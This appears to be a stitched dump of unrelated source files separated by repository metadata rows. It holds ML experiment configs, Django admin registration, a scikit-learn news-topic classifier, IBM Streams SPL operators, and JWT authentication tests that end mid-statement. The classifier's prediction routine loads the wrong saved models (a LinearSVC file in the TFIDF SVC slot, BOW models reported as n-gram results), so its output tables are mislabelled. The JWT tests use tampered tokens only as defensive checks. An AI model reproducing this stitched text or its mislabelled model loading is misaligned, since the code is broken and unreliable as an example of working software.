learning_rate=0.003, scheduler=ExponentialDecay, decay_steps=50., decay_rate=0.99, epochs=31, batch_size=100, loss_func=qd_code_loss, alpha=0.05, soften=160., lambda_=15., print_frequency=1, device='cpu' ) ) @ex.named_config def wine(): config = dict( dataset=ShuffledDataset( data_path='data/wine.csv', shuffle_path='data/wine.npy', standardize=True, shuffle=True ), split=dict( train_size=0.9, val_size=0., test_size=0.1, ), num_runs=20, method=PiEnsemble, hyper_params=dict( # HPS trial number 11 ensemble_size=5, aggreg_func=[sem_aggreg, std_aggreg], hidden_size=[50, 50], optimizer=Adam, learning_rate=0.007, scheduler=ExponentialDecay, decay_steps=50., decay_rate=1., epochs=1606, batch_size=100, loss_func=qd_code_loss, alpha=0.05, soften=160., lambda_=40., print_frequency=10, device='cpu' ) ) @ex.named_config def yacht(): config = dict( dataset=ShuffledDataset( data_path='data/yacht.csv', shuffle_path='data/yacht.npy', standardize=True, shuffle=True ), split=dict( train_size=0.9, val_size=0., test_size=0.1, ), num_runs=20, method=PiEnsemble, hyper_params=dict( # HPS trial number 193 ensemble_size=5, aggreg_func=[sem_aggreg, std_aggreg], hidden_size=[50, 50], optimizer=Adam, learning_rate=0.006, scheduler=ExponentialDecay, decay_steps=50., decay_rate=1., epochs=1214, batch_size=100, loss_func=qd_code_loss, alpha=0.05, soften=160., lambda_=1., print_frequency=10, device='cpu' ) ) @ex.named_config def year(): config = dict( dataset=FileDataset( file_path='data/yearmsd.csv', standardize=True, shuffle=False ), split=dict( train_size=0.9, val_size=0., test_size=0.1, ), num_runs=1, method=PiEnsemble, hyper_params=dict( # HPS trial number 206 ensemble_size=5, aggreg_func=[sem_aggreg, std_aggreg], hidden_size=[100, 100], optimizer=Adam, learning_rate=0.001, scheduler=ExponentialDecay, decay_steps=50., decay_rate=1.0, epochs=64, batch_size=1000, loss_func=qd_code_loss, alpha=0.05, soften=160., lambda_=11., print_frequency=10, device='cpu' ) ) # ------------------------------------------------------------------------------ @ex.capture def execute(executor, config, seed): return executor.run(**config, seed=seed) @ex.automain def main(): return execute()
26.109091
80
0.500696
1,174
11,488
4.672913
0.13799
0.022785
0.021874
0.039373
0.800766
0.779985
0.775428
0.711265
0.694495
0.653117
0
0.058799
0.38414
11,488
439
81
26.168565
0.716608
0.052751
0
0.761307
0
0
0.044483
0.022196
0
0
0
0
0
1
0.035176
false
0
0.012563
0.005025
0.052764
0.027638
0
0
0
null
0
0
0
1
1
1
1
0
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
6
d83a0a5f9bf9310157ac1dc40a9b73198de1bf8b
157
py
Python
bamin-Stock-Site/stocksite/baminStockSite/admin.py
bamin0422/stock-chatbot
abc21a036177111b0cdf9d24ecd760c3f09ee386
[ "MIT" ]
2
2020-04-26T12:54:53.000Z
2020-05-15T09:59:26.000Z
bamin-Stock-Site/stocksite/baminStockSite/admin.py
bamin0422/stock-chatbot
abc21a036177111b0cdf9d24ecd760c3f09ee386
[ "MIT" ]
4
2020-04-25T09:05:09.000Z
2020-05-01T20:32:24.000Z
bamin-Stock-Site/stocksite/baminStockSite/admin.py
bamin0422/stock-chatbot
abc21a036177111b0cdf9d24ecd760c3f09ee386
[ "MIT" ]
1
2020-04-25T09:03:08.000Z
2020-04-25T09:03:08.000Z
from django.contrib import admin from .models import * admin.site.register(StockCommunity) admin.site.register(StockNews) admin.site.register(SpecialStock)
22.428571
35
0.828025
20
157
6.5
0.55
0.207692
0.392308
0
0
0
0
0
0
0
0
0
0.076433
157
6
36
26.166667
0.896552
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
0.4
0
0.4
0
1
0
0
null
1
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
0
0
0
6
dc2501a00fe385b6fbd40b34070d374e8f59eeb9
107
py
Python
modules/app/schemas/__init__.py
uwrit/kpmp_user_portal
d20ce6290a0ad64f63a6f043bf6ff061b4968953
[ "BSD-3-Clause" ]
1
2019-07-09T17:14:40.000Z
2019-07-09T17:14:40.000Z
modules/app/schemas/__init__.py
uwrit/kpmp-user-portal
d20ce6290a0ad64f63a6f043bf6ff061b4968953
[ "BSD-3-Clause" ]
7
2019-03-17T02:19:21.000Z
2019-03-29T15:11:53.000Z
modules/app/schemas/__init__.py
uwrit/kpmp_user_portal
d20ce6290a0ad64f63a6f043bf6ff061b4968953
[ "BSD-3-Clause" ]
null
null
null
from .user import validate_user from .client import validate_client from .organization import validate_org
26.75
38
0.859813
15
107
5.933333
0.466667
0.47191
0
0
0
0
0
0
0
0
0
0
0.11215
107
3
39
35.666667
0.936842
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
6
dc26963014066ad60bc25fda4d3bc6002991a0f4
19,752
py
Python
sources/classificators.py
KamilGos/text-theme-classification
b969d2482c0b68ae03f49fac63ea2cb21c7aa070
[ "MIT" ]
null
null
null
sources/classificators.py
KamilGos/text-theme-classification
b969d2482c0b68ae03f49fac63ea2cb21c7aa070
[ "MIT" ]
null
null
null
sources/classificators.py
KamilGos/text-theme-classification
b969d2482c0b68ae03f49fac63ea2cb21c7aa070
[ "MIT" ]
null
null
null
from sklearn.model_selection import train_test_split from sklearn.metrics import accuracy_score, confusion_matrix from sklearn import linear_model, naive_bayes, svm, ensemble from matplotlib import pyplot as plt import seaborn as sns from time import time from sklearn.model_selection import cross_val_score from tensorflow import keras from prettytable import PrettyTable import pickle from sources.data_manipulations import DataAssistant class Models: def __init__(self, in_data_dir, out_models_dir, in_models_dir, LEARN): self.DA = DataAssistant(in_data_dir, LEARN) if LEARN: in_bow, in_tfidf, in_ngram, in_cat = self.DA.returnModelInput(out_models_dir) self.in_bow = in_bow self.in_tfidf = in_tfidf self.in_ngram = in_ngram self.in_cat = in_cat else: in_bow, in_tfidf, in_ngram = self.DA.returnClassificationInput(in_models_dir) self.in_bow = in_bow self.in_tfidf = in_tfidf self.in_ngram = in_ngram @staticmethod def showConfusionMatrix(prediction, y_test, alg_name): labels = ['tech', 'sport', 'business', 'entertainment', 'politics'] cm = confusion_matrix(y_test, prediction) print(cm) ax = plt.subplot() sns.heatmap(cm, annot=True, ax=ax) ax.set_xlabel('Predicted labels') ax.set_ylabel('True labels') ax.set_title('Confusion Matrix') ax.yaxis.set_ticklabels(labels[::-1], rotation=90) plt.title(('Confusion matrix of ' + alg_name)) def learnWithBOW(self, save_dir): data_x = self.in_bow.toarray() data_y = self.in_cat x_train, x_test, y_train, y_test = train_test_split(data_x, data_y, test_size=0.2, random_state=9) x = PrettyTable() x.field_names = ['Algorithm', 'Prediction', 'Building time [s]', '5-C-V', '5-C-V time [s]'] print('\n\n === BOW === \n') start = time() model = linear_model.LogisticRegression(max_iter=200) model.fit(x_train, y_train) pickle.dump(model, open((save_dir+'lr_bow.sav'), 'wb')) LR_prediction = model.predict(x_test) pred_time = time() - start print(f'### Logistic regression ### Duration %0.2f' % pred_time) print(f' Test accuracy: %0.3f' % (accuracy_score(LR_prediction, y_test))) start = time() scores = cross_val_score(model, x_train, y_train, cv=5) cv_time = time() - start cv_acc = '%0.2f (+/- %0.2f)' % (scores.mean(), scores.std() * 2) print(" 5-C-V Accuracy: " + cv_acc + " Duration: %0.2f" % cv_time) x.add_row(['Log.Reg', round(accuracy_score(LR_prediction, y_test), 3), round(pred_time, 2), cv_acc, round(cv_time, 2)]) start = time() model = naive_bayes.MultinomialNB() model.fit(x_train, y_train) pickle.dump(model, open((save_dir+'nb_bow.sav'), 'wb')) NB_prediction = model.predict(x_test) pred_time = time() - start print(f'### Naive Bayes ### Duration %0.2f' % pred_time) print(f' Test accuracy: %0.3f' % (accuracy_score(NB_prediction, y_test))) start = time() scores = cross_val_score(model, x_train, y_train, cv=5) cv_time = time() - start cv_acc = '%0.2f (+/- %0.2f)' % (scores.mean(), scores.std() * 2) print(" 5-C-V Accuracy: " + cv_acc + " Duration: %0.2f" % cv_time) x.add_row( ['Bayes', round(accuracy_score(NB_prediction, y_test), 3), round(pred_time, 2), cv_acc, round(cv_time, 2)]) start = time() model = svm.SVC() model.fit(x_train, y_train) pickle.dump(model, open((save_dir+'svc_bow.sav'), 'wb')) SVM_prediction = model.predict(x_test) pred_time = time() - start print(f'Support Vector Classification ### Duration %0.2f' % pred_time) print(f' Test accuracy: %0.3f' % (accuracy_score(SVM_prediction, y_test))) start = time() scores = cross_val_score(model, x_train, y_train, cv=5) cv_time = time() - start cv_acc = '%0.2f (+/- %0.2f)' % (scores.mean(), scores.std() * 2) print(" 5-C-V Accuracy: " + cv_acc + " Duration: %0.2f" % cv_time) x.add_row(['Sup.Vec.', round(accuracy_score(SVM_prediction, y_test), 3), round(pred_time, 2), cv_acc, round(cv_time, 2)]) start = time() model = svm.LinearSVC(max_iter=400) model.fit(x_train, y_train) pickle.dump(model, open((save_dir+'lsvc_bow.sav'), 'wb')) LSVM_prediction = model.predict(x_test) pred_time = time() - start print(f'### Linear Support Vector Classification ### Duration %0.2f' % pred_time) print(f' Test accuracy: %0.3f' % (accuracy_score(LSVM_prediction, y_test))) start = time() scores = cross_val_score(model, x_train, y_train, cv=5) cv_time = time() - start cv_acc = '%0.2f (+/- %0.2f)' % (scores.mean(), scores.std() * 2) print(" 5-C-V Accuracy: " + cv_acc + " Duration: %0.2f" % cv_time) x.add_row(['Lin.Sup.Vec', round(accuracy_score(LSVM_prediction, y_test), 3), round(pred_time, 2), cv_acc, round(cv_time, 2)]) start = time() model = ensemble.RandomForestClassifier() model.fit(x_train, y_train) pickle.dump(model, open((save_dir+'rf_bow.sav'), 'wb')) RandomForest_prediction = model.predict(x_test) pred_time = time() - start print(f'### Random Forest ### Duration %0.2f' % pred_time) print(f' Test accuracy: %0.3f' % (accuracy_score(RandomForest_prediction, y_test))) start = time() scores = cross_val_score(model, x_train, y_train, cv=5) cv_time = time() - start cv_acc = '%0.2f (+/- %0.2f)' % (scores.mean(), scores.std() * 2) print(" 5-C-V Accuracy: " + cv_acc + " Duration: %0.2f" % cv_time) x.add_row(['Rand.For', round(accuracy_score(RandomForest_prediction, y_test), 3), round(pred_time, 2), cv_acc, round(cv_time, 2)]) print("\n Summary") print(x) def learnWithTFIDF(self, save_dir): data_x = self.in_tfidf.toarray() data_y = self.in_cat x_train, x_test, y_train, y_test = train_test_split(data_x, data_y, test_size=0.2, random_state=9) x = PrettyTable() x.field_names = ['Algorithm', 'Prediction', 'Building time [s]', '5-C-V', '5-C-V time [s]'] print('\n\n === TFIDF ===\n') start = time() model = linear_model.LogisticRegression(max_iter=200) model.fit(x_train, y_train) pickle.dump(model, open((save_dir + 'lr_tfidf.sav'), 'wb')) LR_prediction = model.predict(x_test) pred_time = time() - start print(f'### Logistic regression ### Duration %0.2f' % pred_time) print(f' Test accuracy: %0.3f' % (accuracy_score(LR_prediction, y_test))) start = time() scores = cross_val_score(model, x_train, y_train, cv=5) cv_time = time() - start cv_acc = '%0.2f (+/- %0.2f)' % (scores.mean(), scores.std() * 2) print(" 5-C-V Accuracy: " + cv_acc + " Duration: %0.2f" % cv_time) x.add_row(['Log.Reg', round(accuracy_score(LR_prediction, y_test), 3), round(pred_time, 2), cv_acc, round(cv_time, 2)]) start = time() model = naive_bayes.MultinomialNB() model.fit(x_train, y_train) pickle.dump(model, open((save_dir + 'nb_tfidf.sav'), 'wb')) NB_prediction = model.predict(x_test) pred_time = time() - start print(f'### Naive Bayes ### Duration %0.2f' % pred_time) print(f' Test accuracy: %0.3f' % (accuracy_score(NB_prediction, y_test))) start = time() scores = cross_val_score(model, x_train, y_train, cv=5) cv_time = time() - start cv_acc = '%0.2f (+/- %0.2f)' % (scores.mean(), scores.std() * 2) print(" 5-C-V Accuracy: " + cv_acc + " Duration: %0.2f" % cv_time) x.add_row( ['Bayes', round(accuracy_score(NB_prediction, y_test), 3), round(pred_time, 2), cv_acc, round(cv_time, 2)]) start = time() model = svm.SVC() model.fit(x_train, y_train) pickle.dump(model, open((save_dir + 'svc_tfidf.sav'), 'wb')) SVM_prediction = model.predict(x_test) pred_time = time() - start print(f'Support Vector Classification ### Duration %0.2f' % pred_time) print(f' Test accuracy: %0.3f' % (accuracy_score(SVM_prediction, y_test))) start = time() scores = cross_val_score(model, x_train, y_train, cv=5) cv_time = time() - start cv_acc = '%0.2f (+/- %0.2f)' % (scores.mean(), scores.std() * 2) print(" 5-C-V Accuracy: " + cv_acc + " Duration: %0.2f" % cv_time) x.add_row(['Sup.Vec.', round(accuracy_score(SVM_prediction, y_test), 3), round(pred_time, 2), cv_acc, round(cv_time, 2)]) start = time() model = svm.LinearSVC(max_iter=200) model.fit(x_train, y_train) pickle.dump(model, open((save_dir + 'lsvc_tfidf.sav'), 'wb')) LSVM_prediction = model.predict(x_test) pred_time = time() - start print(f'### Linear Support Vector Classification ### Duration %0.2f' % pred_time) print(f' Test accuracy: %0.3f' % (accuracy_score(LSVM_prediction, y_test))) start = time() scores = cross_val_score(model, x_train, y_train, cv=5) cv_time = time() - start cv_acc = '%0.2f (+/- %0.2f)' % (scores.mean(), scores.std() * 2) print(" 5-C-V Accuracy: " + cv_acc + " Duration: %0.2f" % cv_time) x.add_row(['Lin.Sup.Vec', round(accuracy_score(LSVM_prediction, y_test), 3), round(pred_time, 2), cv_acc, round(cv_time, 2)]) start = time() model = ensemble.RandomForestClassifier() model.fit(x_train, y_train) pickle.dump(model, open((save_dir + 'rf_tfidf.sav'), 'wb')) RandomForest_prediction = model.predict(x_test) pred_time = time() - start print(f'### Random Forest ### Duration %0.2f' % pred_time) print(f' Test accuracy: %0.3f' % (accuracy_score(RandomForest_prediction, y_test))) start = time() scores = cross_val_score(model, x_train, y_train, cv=5) cv_time = time() - start cv_acc = '%0.2f (+/- %0.2f)' % (scores.mean(), scores.std() * 2) print(" 5-C-V Accuracy: " + cv_acc + " Duration: %0.2f" % cv_time) x.add_row(['Rand.For', round(accuracy_score(RandomForest_prediction, y_test), 3), round(pred_time, 2), cv_acc, round(cv_time, 2)]) print("\n Summary") print(x) def learnWithNgram(self, save_dir): data_x = self.in_ngram.toarray() data_y = self.in_cat x_train, x_test, y_train, y_test = train_test_split(data_x, data_y, test_size=0.2, random_state=9) x = PrettyTable() x.field_names = ['Algorithm', 'Prediction', 'Building time [s]', '5-C-V', '5-C-V time [s]'] print('\n\n === TFIDF n-gram ===\n') start = time() model = linear_model.LogisticRegression(max_iter=200) model.fit(x_train, y_train) pickle.dump(model, open((save_dir + 'lr_ngram.sav'), 'wb')) LR_prediction = model.predict(x_test) pred_time = time() - start print(f'### Logistic regression ### Duration %0.2f' % pred_time) print(f' Test accuracy: %0.3f' % (accuracy_score(LR_prediction, y_test))) start = time() scores = cross_val_score(model, x_train, y_train, cv=5) cv_time = time() - start cv_acc = '%0.2f (+/- %0.2f)' % (scores.mean(), scores.std() * 2) print(" 5-C-V Accuracy: " + cv_acc + " Duration: %0.2f" % cv_time) x.add_row(['Log.Reg', round(accuracy_score(LR_prediction, y_test), 3), round(pred_time, 2), cv_acc, round(cv_time, 2)]) start = time() model = naive_bayes.MultinomialNB() model.fit(x_train, y_train) pickle.dump(model, open((save_dir + 'nb_ngram.sav'), 'wb')) NB_prediction = model.predict(x_test) pred_time = time() - start print(f'### Naive Bayes ### Duration %0.2f' % pred_time) print(f' Test accuracy: %0.3f' % (accuracy_score(NB_prediction, y_test))) start = time() scores = cross_val_score(model, x_train, y_train, cv=5) cv_time = time() - start cv_acc = '%0.2f (+/- %0.2f)' % (scores.mean(), scores.std() * 2) print(" 5-C-V Accuracy: " + cv_acc + " Duration: %0.2f" % cv_time) x.add_row( ['Bayes', round(accuracy_score(NB_prediction, y_test), 3), round(pred_time, 2), cv_acc, round(cv_time, 2)]) start = time() model = svm.SVC() model.fit(x_train, y_train) pickle.dump(model, open((save_dir + 'svc_ngram.sav'), 'wb')) SVM_prediction = model.predict(x_test) pred_time = time() - start print(f'Support Vector Classification ### Duration %0.2f' % pred_time) print(f' Test accuracy: %0.3f' % (accuracy_score(SVM_prediction, y_test))) start = time() scores = cross_val_score(model, x_train, y_train, cv=5) cv_time = time() - start cv_acc = '%0.2f (+/- %0.2f)' % (scores.mean(), scores.std() * 2) print(" 5-C-V Accuracy: " + cv_acc + " Duration: %0.2f" % cv_time) x.add_row(['Sup.Vec.', round(accuracy_score(SVM_prediction, y_test), 3), round(pred_time, 2), cv_acc, round(cv_time, 2)]) start = time() model = svm.LinearSVC(max_iter=200) model.fit(x_train, y_train) pickle.dump(model, open((save_dir + 'lsvc_ngram.sav'), 'wb')) LSVM_prediction = model.predict(x_test) pred_time = time() - start print(f'### Linear Support Vector Classification ### Duration %0.2f' % pred_time) print(f' Test accuracy: %0.3f' % (accuracy_score(LSVM_prediction, y_test))) start = time() scores = cross_val_score(model, x_train, y_train, cv=5) cv_time = time() - start cv_acc = '%0.2f (+/- %0.2f)' % (scores.mean(), scores.std() * 2) print(" 5-C-V Accuracy: " + cv_acc + " Duration: %0.2f" % cv_time) x.add_row(['Lin.Sup.Vec', round(accuracy_score(LSVM_prediction, y_test), 3), round(pred_time, 2), cv_acc, round(cv_time, 2)]) start = time() model = ensemble.RandomForestClassifier() model.fit(x_train, y_train) pickle.dump(model, open((save_dir + 'rf_ngram.sav'), 'wb')) RandomForest_prediction = model.predict(x_test) pred_time = time() - start print(f'### Random Forest ### Duration %0.2f' % pred_time) print(f' Test accuracy: %0.3f' % (accuracy_score(RandomForest_prediction, y_test))) start = time() scores = cross_val_score(model, x_train, y_train, cv=5) cv_time = time() - start cv_acc = '%0.2f (+/- %0.2f)' % (scores.mean(), scores.std() * 2) print(" 5-C-V Accuracy: " + cv_acc + " Duration: %0.2f" % cv_time) x.add_row(['Rand.For', round(accuracy_score(RandomForest_prediction, y_test), 3), round(pred_time, 2), cv_acc, round(cv_time, 2)]) print("\n Summary") print(x) def classifyUsingExistingModels(self, models_dir): l_dict = {0:'business', 1:'entertainment', 2:'politics', 3:'sport', 4:'tech'} data_x = self.in_bow.toarray() # USING BOW x = PrettyTable() x.field_names = ['File','BOW_LR', 'BOW_NBC', 'BOW_SVC', 'BOW_LSVC', "BOW_RF"] BOW_LR = pickle.load(open((models_dir + 'lr_bow.sav'), 'rb')) BOW_NBC = pickle.load(open((models_dir + 'nb_bow.sav'), 'rb')) BOW_SVC = pickle.load(open((models_dir + 'svc_bow.sav'), 'rb')) BOW_LSVC = pickle.load(open((models_dir + 'lsvc_bow.sav'), 'rb')) BOW_RF = pickle.load(open((models_dir + 'rf_bow.sav'), 'rb')) for i in range(len(data_x)): BOW_LR_pre = BOW_LR.predict(data_x[i].reshape(1, -1)) BOW_NBC_pre = BOW_NBC.predict(data_x[i].reshape(1, -1)) BOW_SVC_pre = BOW_SVC.predict(data_x[i].reshape(1, -1)) BOW_LSVC_pre = BOW_LSVC.predict(data_x[i].reshape(1, -1)) BOW_RF_pre = BOW_RF.predict(data_x[i].reshape(1, -1)) data = self.DA.data.iloc[i] x.add_row([data['file_id'], l_dict[BOW_LR_pre[0]], l_dict[BOW_NBC_pre[0]], l_dict[BOW_SVC_pre[0]], l_dict[BOW_LSVC_pre[0]], l_dict[BOW_RF_pre[0]]]) print("\nPredictions using BOW model") print(x) ## USING TFIDF x = PrettyTable() x.field_names = ['File','TFIDF_LR', 'TFIDF_NBC', 'TFIDF_SVC', 'TFIDF_LSVC', "TFIDF_RF"] TFIDF_LR = pickle.load(open((models_dir + 'lr_tfidf.sav'), 'rb')) TFIDF_NBC = pickle.load(open((models_dir + 'nb_tfidf.sav'), 'rb')) TFIDF_SVC = pickle.load(open((models_dir + 'lsvc_tfidf.sav'), 'rb')) TFIDF_LSVC = pickle.load(open((models_dir + 'lsvc_tfidf.sav'), 'rb')) TFIDF_RF = pickle.load(open((models_dir + 'rf_tfidf.sav'), 'rb')) for i in range(len(data_x)): TFIDF_LR_pre = TFIDF_LR.predict(data_x[i].reshape(1, -1)) TFIDF_NBC_pre = TFIDF_NBC.predict(data_x[i].reshape(1, -1)) TFIDF_SVC_pre = TFIDF_SVC.predict(data_x[i].reshape(1, -1)) TFIDF_LSVC_pre = TFIDF_LSVC.predict(data_x[i].reshape(1, -1)) TFIDF_RF_pre = TFIDF_RF.predict(data_x[i].reshape(1, -1)) data = self.DA.data.iloc[i] x.add_row([data['file_id'], l_dict[TFIDF_LR_pre[0]], l_dict[TFIDF_NBC_pre[0]], l_dict[TFIDF_SVC_pre[0]], l_dict[TFIDF_LSVC_pre[0]], l_dict[TFIDF_RF_pre[0]]]) print("\nPredictions using TFIDF model") print(x) x = PrettyTable() x.field_names = ['File','NGRAM_LR', 'NGRAM_NBC', 'NGRAM_SVC', 'NGRAM_LSVC', "NGRAM_RF"] NGRAM_LR = pickle.load(open((models_dir + 'lr_bow.sav'), 'rb')) NGRAM_NBC = pickle.load(open((models_dir + 'nb_bow.sav'), 'rb')) NGRAM_SVC = pickle.load(open((models_dir + 'svc_bow.sav'), 'rb')) NGRAM_LSVC = pickle.load(open((models_dir + 'lsvc_bow.sav'), 'rb')) NGRAM_RF = pickle.load(open((models_dir + 'rf_bow.sav'), 'rb')) for i in range(len(data_x)): NGRAM_LR_pre = NGRAM_LR.predict(data_x[i].reshape(1, -1)) NGRAM_NBC_pre = NGRAM_NBC.predict(data_x[i].reshape(1, -1)) NGRAM_SVC_pre = NGRAM_SVC.predict(data_x[i].reshape(1, -1)) NGRAM_LSVC_pre = NGRAM_LSVC.predict(data_x[i].reshape(1, -1)) NGRAM_RF_pre = NGRAM_RF.predict(data_x[i].reshape(1, -1)) data = self.DA.data.iloc[i] x.add_row([data['file_id'], l_dict[NGRAM_LR_pre[0]], l_dict[NGRAM_NBC_pre[0]], l_dict[NGRAM_SVC_pre[0]], l_dict[NGRAM_LSVC_pre[0]], l_dict[NGRAM_RF_pre[0]]]) print("\nPredictions using NGRAM model") print(x) if __name__ == "__main__": learn_data_dir = './raw_text_v2/' save_dir = './models/' Models = Models(learn_data_dir, save_dir, None, True) Models.learnWithBOW(save_dir) Models.learnWithTFIDF(save_dir) Models.learnWithNgram(save_dir)
51.4375
120
0.582726
2,790
19,752
3.872043
0.063441
0.016662
0.043044
0.033324
0.850504
0.826622
0.805332
0.791262
0.758678
0.756457
0
0.022433
0.261999
19,752
383
121
51.571802
0.718666
0.001063
0
0.699717
0
0
0.152967
0
0
0
0
0
0
1
0.016997
false
0
0.031161
0
0.050992
0.172805
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
6
dc4d272f5f0f34ca4d4578636a3a077fbcee39f1
1,462
py
Python
test/python/spl/tests/ops_dill.py
Jaimie-Jin1/streamsx.topology
6f316ec8e9ed1349c6f061d9bb7d03deb87e3d08
[ "Apache-2.0" ]
31
2015-06-24T06:21:14.000Z
2020-08-28T21:45:50.000Z
test/python/spl/tests/ops_dill.py
Jaimie-Jin1/streamsx.topology
6f316ec8e9ed1349c6f061d9bb7d03deb87e3d08
[ "Apache-2.0" ]
1,203
2015-06-15T02:11:49.000Z
2021-03-22T09:47:54.000Z
test/python/spl/tests/ops_dill.py
Jaimie-Jin1/streamsx.topology
6f316ec8e9ed1349c6f061d9bb7d03deb87e3d08
[ "Apache-2.0" ]
53
2015-05-28T21:14:16.000Z
2021-12-23T12:58:59.000Z
# coding=utf-8 # Licensed Materials - Property of IBM # Copyright IBM Corp. 2018 from streamsx.spl import spl @spl.filter() class F1(object): def __init__(self, v): self.c = 0 self.v = v def __call__(self, *tuple_): self.c += 1 return tuple_[0] < self.v @spl.filter() class F2(object): def __init__(self, v): self.c = 42 self.v = v def __call__(self, *tuple_): self.c += 1 return tuple_[0] < self.v def __getstate__(self): return {'c': self.c + 99, 'v': self.v} @spl.map() class M1(object): def __init__(self, v): self.c = 0 self.v = v def __call__(self, *tuple_): self.c += 1 return tuple_[0] + self.v, @spl.map() class M2(object): def __init__(self, v): self.c = 0 self.v = v def __call__(self, *tuple_): self.c += 1 return tuple_[0] + self.v, def __getstate__(self): return {'c': self.c + 43, 'v': self.v} @spl.for_each() class FE1(object): def __init__(self, v): self.c = 0 self.v = v def __call__(self, *tuple_): self.c += self.v + tuple_[0] @spl.map() class FE2(object): def __init__(self, v): self.c = 0 self.v = v def __call__(self, *tuple_): self.c += self.v + tuple_[0] def __getstate__(self): return {'c': self.c + 74, 'v': self.v}
19.236842
46
0.515048
209
1,462
3.253589
0.200957
0.154412
0.079412
0.15
0.75
0.714706
0.714706
0.641176
0.641176
0.641176
0
0.035052
0.336525
1,462
75
47
19.493333
0.665979
0.050616
0
0.773585
0
0
0.004335
0
0
0
0
0
0
1
0.283019
false
0
0.018868
0.056604
0.54717
0
0
0
0
null
0
0
0
0
1
1
0
0
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
1
0
0
6
dc750e0c3bf8b34a74578e4e4255bd77c86a6435
6,668
py
Python
tests/test_auth_by_token.py
weh/mod_authnz_jwt
e5ed87b4924dde1a887e7f0b57044409dff17d66
[ "Apache-2.0" ]
null
null
null
tests/test_auth_by_token.py
weh/mod_authnz_jwt
e5ed87b4924dde1a887e7f0b57044409dff17d66
[ "Apache-2.0" ]
null
null
null
tests/test_auth_by_token.py
weh/mod_authnz_jwt
e5ed87b4924dde1a887e7f0b57044409dff17d66
[ "Apache-2.0" ]
null
null
null
import time import unittest import json from test_jwt import TestJWT class TestAuthByToken(TestJWT): @TestJWT.with_all_algorithms() def test_login_with_urlencoded_should_success(self, alg, public_key, private_key, secured_url, login_url): code, content, headers = self.http_post(login_url, { self.USERNAME_FIELD: self.USERNAME, self.PASSWORD_FIELD: self.PASSWORD }, headers={"Content-Type": "application/x-www-form-urlencoded"}) self.assertEqual(code, 200) @TestJWT.with_all_algorithms() def test_login_should_with_json_should_fail(self, alg, public_key, private_key, secured_url, login_url): code, content, headers = self.http_post(login_url, {self.USERNAME_FIELD: self.USERNAME, self.PASSWORD_FIELD: self.PASSWORD}, headers={"Content-Type": "application/json"}) self.assertEqual(code, 415) @TestJWT.with_all_algorithms() def test_malformed_token_should_fail(self, alg, public_key, private_key, secured_url, login_url): token = self.encode_jwt( {"iss": self.JWT_ISS, "aud": self.JWT_AUD, "user": "toto", "iat": int(time.time()), "nbf": int(time.time()), "exp": int(time.time()) + 1000}, private_key, alg) # we replace . by # for the token to be malformed token = token.replace('.', '#') code, content, headers = self.http_get(secured_url, token=token) self.assertEqual(code, 401) self.assertEqual(headers["WWW-Authenticate"], 'Bearer realm="private area", error="invalid_token", ' 'error_description="Token is malformed or signature is invalid"') @TestJWT.with_all_algorithms() def test_invalid_signature_should_fail(self, alg, public_key, private_key, secured_url, login_url): token = self.encode_jwt( {"iss": self.JWT_ISS, "aud": self.JWT_AUD, "user": "toto", "iat": int(time.time()), "nbf": int(time.time()), "exp": int(time.time()) + 1000}, private_key, alg) # we remove last 10 characters for the signature to be invalid token = token[:-10] code, content, headers = self.http_get(secured_url, token=token) self.assertEqual(code, 401) self.assertEqual(headers["WWW-Authenticate"], 'Bearer realm="private area", error="invalid_token", ' 'error_description="Token is malformed or signature is invalid"') @TestJWT.with_all_algorithms() def test_invalid_iss_should_fail(self, alg, public_key, private_key, secured_url, login_url): token = self.encode_jwt( {"iss": "invalid", "aud": self.JWT_AUD, "user": "toto", "iat": int(time.time()), "nbf": int(time.time()), "exp": int(time.time()) + 1000}, private_key, alg) code, content, headers = self.http_get(secured_url, token=token) self.assertEqual(code, 401) self.assertEqual(headers["WWW-Authenticate"], 'Bearer realm="private area", error="invalid_token", ' 'error_description="Issuer is not valid"') @TestJWT.with_all_algorithms() def test_invalid_aud_should_fail(self, alg, public_key, private_key, secured_url, login_url): token = self.encode_jwt( {"iss": self.JWT_ISS, "aud": "invalid", "user": "toto", "iat": int(time.time()), "nbf": int(time.time()), "exp": int(time.time()) + 1000}, private_key, alg) code, content, headers = self.http_get(secured_url, token=token) self.assertEqual(code, 401) self.assertEqual(headers["WWW-Authenticate"], 'Bearer realm="private area", error="invalid_token", ' 'error_description="Audience is not valid"') @TestJWT.with_all_algorithms() def test_invalid_nbf_should_fail(self, alg, public_key, private_key, secured_url, login_url): token = self.encode_jwt({"iss": self.JWT_ISS, "aud": self.JWT_AUD, "user": "toto", "iat": int(time.time()), "nbf": int(time.time()) + 1000, "exp": int(time.time()) + 1000}, private_key, alg) code, content, headers = self.http_get(secured_url, token=token) self.assertEqual(code, 401) self.assertEqual(headers["WWW-Authenticate"], 'Bearer realm="private area", error="invalid_token", ' 'error_description="Token can\'t be processed now due to nbf field"') @TestJWT.with_all_algorithms() def test_invalid_exp_should_fail(self, alg, public_key, private_key, secured_url, login_url): token = self.encode_jwt( {"iss": self.JWT_ISS, "aud": self.JWT_AUD, "user": "toto", "iat": int(time.time()), "nbf": int(time.time()), "exp": int(time.time()) - 1000}, private_key, alg) code, content, headers = self.http_get(secured_url, token=token) self.assertEqual(code, 401) self.assertEqual(headers["WWW-Authenticate"], 'Bearer realm="private area", error="invalid_token", error_description="Token expired"') @TestJWT.with_all_algorithms() def test_token_exp_missing_should_success(self, alg, public_key, private_key, secured_url, login_url): token = self.encode_jwt({"iss": self.JWT_ISS, "aud": self.JWT_AUD, "user": "toto", "iat": int(time.time()), "nbf": int(time.time())}, private_key, alg) code, content, headers = self.http_get(secured_url, token=token) self.assertEqual(code, 200) @TestJWT.with_all_algorithms() def test_with_leeway_should_success(self, alg, public_key, private_key, secured_url, login_url): token = 